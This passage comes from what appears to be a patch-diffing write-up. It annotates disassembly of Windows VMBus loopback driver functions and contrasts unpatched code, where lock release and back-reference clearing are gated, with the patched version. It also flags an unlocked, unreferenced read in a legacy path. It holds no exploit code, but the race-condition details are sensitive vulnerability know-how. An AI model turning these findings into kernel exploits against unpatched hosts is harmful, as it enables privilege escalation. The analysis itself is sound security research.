&lt;span class="nt"&gt;00000001C0006C92&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="nx"&gt;B8h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;slot&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C9A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rsi&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C9D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_1C0006CB3&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C9F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*(&lt;/span&gt;&lt;span class="nt"&gt;A&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;0x68&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;DISTINCT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;object&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006CA3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;gate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;#&lt;/span&gt;&lt;span class="nn"&gt;2&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006CA8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006CAA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_1C0006CB5&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006CAC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;A&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s back-ref to B (gated)&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006CB1  jmp     short loc_1C0006CB5&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006CB3  xor     ebp, ebp                    ; B = NULL&lt;/span&gt;

&lt;span class="s1"&gt;; ---- release locks ----&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006CB5  call    EvaluateCurrentState        ; gate #3&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006CBA  test    eax, eax&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006CBC  jz      short loc_1C0006CD1&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006CC1  lea     rcx, &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006CC5  call    cs:__imp_KeReleaseSpinLock&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006CD1  lea     rcx, &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006CD5  call    cs:__imp_ExReleaseFastMutexUnsafe&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006CE1  call    cs:__imp_KeLeaveCriticalRegion&lt;/span&gt;

&lt;span class="s1"&gt;; ---- B (rbp) teardown: refcount then conditional free ----&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006D6A  lock xadd &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="s1"&gt;, rax              ; decrement B refcount&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006D73  test    rax, rax&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006D76  jg      loc_1C0006E0A               ; still referenced -&amp;gt; skip free&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006DE9  mov     edx, 69706E56h              ; tag &amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;Vnpi&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006DEE  mov     rcx, rbp&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006DF1  call    cs:__imp_ExFreePoolWithTag  ; free B (only if count hit zero)&lt;/span&gt;

&lt;span class="s1"&gt;; ---- A (rsi) teardown: refcount then conditional free ----&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006E0A  test    rsi, rsi&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006E0D  jz      loc_1C0006EC8&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006E3C  lock xadd &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="s1"&gt;, rax              ; decrement A refcount&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006E45  test    rax, rax&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006E48  jg      short loc_1C0006EC8&lt;/span&gt;
&lt;span class="s1"&gt;00000001C0006EB4  mov     edx, 69706E56h              ; tag &amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;Vnpi&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006EB9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rsi&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006EBC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;__imp_ExFreePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;distinct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;object&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006EE6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The two &lt;code&gt;ExFreePoolWithTag&lt;/code&gt; sites operate on different pointers (&lt;code&gt;rbp&lt;/code&gt; = object B, &lt;code&gt;rsi&lt;/code&gt; = object A), each guarded by its own reference-count check. There is no path on which the same pointer is passed to &lt;code&gt;ExFreePoolWithTag&lt;/code&gt; twice.&lt;/p&gt;
&lt;h3&gt;Finding 1 — Patched equivalent (&lt;code&gt;0x1C00068B0&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00068E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;48&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00068EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;always&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;acquired&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00068F7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00068FE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006906&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006909&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0006916&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000690B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000690F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;always&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cleared&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006916&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006918&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000691A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;48&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000691E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeReleaseSpinLock&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;always&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;released&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;No &lt;code&gt;call EvaluateCurrentState&lt;/code&gt; appears anywhere in the patched function; the spinlock is always acquired and released and the back-reference is always cleared.&lt;/p&gt;
&lt;h3&gt;Finding 2 — safe-path helper &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt; (&lt;code&gt;0x1C0007128&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007137&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;48&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;end&lt;/span&gt;&lt;span class="n"&gt;point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007141&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;held&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000714D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;under&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007157&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000715A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C00071A4&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000718E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;take&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reference&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00071AA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeReleaseSpinLock&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00071C8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;retn&lt;/span&gt;&lt;span class="w"&gt;                                            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;return&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;referenced&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2 — legacy path in &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (unpatched &lt;code&gt;0x1C00070A3&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00070A3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNLOCKED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNREFERENCED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;
